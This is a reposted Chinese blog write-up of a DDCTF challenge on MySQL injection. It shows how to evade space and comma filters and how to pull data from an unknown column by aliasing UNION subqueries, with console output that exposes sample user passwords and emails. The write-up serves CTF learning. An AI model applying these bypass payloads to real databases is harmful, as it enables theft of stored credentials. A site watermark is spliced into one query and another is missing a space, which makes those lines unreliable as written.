• 欢迎访问搞代码网站,推荐使用最新版火狐浏览器和Chrome浏览器访问本网站!
  • 如果您觉得本站非常有看点,那么赶紧使用Ctrl+D 收藏搞代码吧

Mysql如何绕过未知字段名详解

mysql 搞代码 4年前 (2022-01-09) 34次浏览 已收录 0个评论

本文主要给大家介绍了Mysql如何巧妙的绕过未知字段名的相关资料,文中给出了详细的示例代码供大家参考学习,对学习mysql具有一定的参考学习价值,需要的朋友们下面来一起看看吧,希望能帮助到大家。

前言

本文介绍的是DDCTF第五题,绕过未知字段名的技巧,这里拿本机来操作了下,思路很棒也很清晰,分享给大家,下面来看看详细的介绍:

实现思路

题目过滤空格和逗号,空格使用%0a,%0b,%0c,%0d,%a0,或者直接使用括号都可以绕过,逗号使用join绕过;

存放flag的字段名未知,information_schema.columns也将表名的hex过滤了,即获取不到字段名;这时可以利用联合查询,过程如下:

思想就是获取flag,让其在已知字段名下出现;

示例代码:

mysql> select (select 1)a,(select 2)b,(select 3)c,(select 4)d;+---+---+---+---+| a | b | c | d |+---+---+---+---+| 1 | 2 | 3 | 4 |+---+---+---+---+1 row in set (0.00 sec) mysql> select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d;+---+---+---+---+| 1 | 2 | 3 | 4 |+---+---+---+---+| 1 | 2 | 3 | 4 |+---+---+---+---+1 row in set (0.00 sec) mysql> select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user;+---+-------+----------+-------------+| 1 | 2  | 3  | 4   |+---+-------+----------+-------------+| 1 | 2  | 3  | 4   || 1 | admin | admin888 | [email protected] || 2 | test | test123 | [email protected] || 3 | cs | cs123 | [email protected] |+---+-------+----------+-------------+4 rows in set (0.01 sec) mysql> select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e;+-------------+| 4   |+-------------+| 4   || [email protected] || [email protected] || [email protected] |+-------------+4 rows in set (0.03 sec) mysql> select e.4 from (select * from (select 1)a,(select 2)b,(s<strong>本文来源gaodai#ma#com搞@@代~&码*网2</strong>elect 3)c,(select 4)d union select * from user)e limit 1 offset 3; +-------------+| 4   |+-------------+| [email protected] |+-------------+1 row in set (0.01 sec) mysql> select * from user where id=1 union select (select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)dunion select * from user)e limit 1 offset 3)f,(select 1)g,(select 1)h,(select 1)i;+-------------+----------+----------+-------------+| id   | username | password | email  |+-------------+----------+----------+-------------+| 1   | admin | admin888 | [email protected] || [email protected] | 1  | 1  | 1   |+-------------+----------+----------+-------------+2 rows in set (0.04 sec)

相关推荐:

MySQL开启慢查询日志的方法详解

十个Mysql中基本语句优化的原则

Linux服务器中MySQL远程连接方法详解

以上就是Mysql如何绕过未知字段名详解的详细内容,更多请关注搞代码gaodaima其它相关文章!


搞代码网(gaodaima.com)提供的所有资源部分来自互联网,如果有侵犯您的版权或其他权益,请说明详细缘由并提供版权或权益证明然后发送到邮箱[email protected],我们会在看到邮件的第一时间内为您处理,或直接联系QQ:872152909。本网站采用BY-NC-SA协议进行授权
转载请注明原文链接:Mysql如何绕过未知字段名详解

喜欢 (0)
[搞代码]
分享 (0)
发表我的评论
取消评论

表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址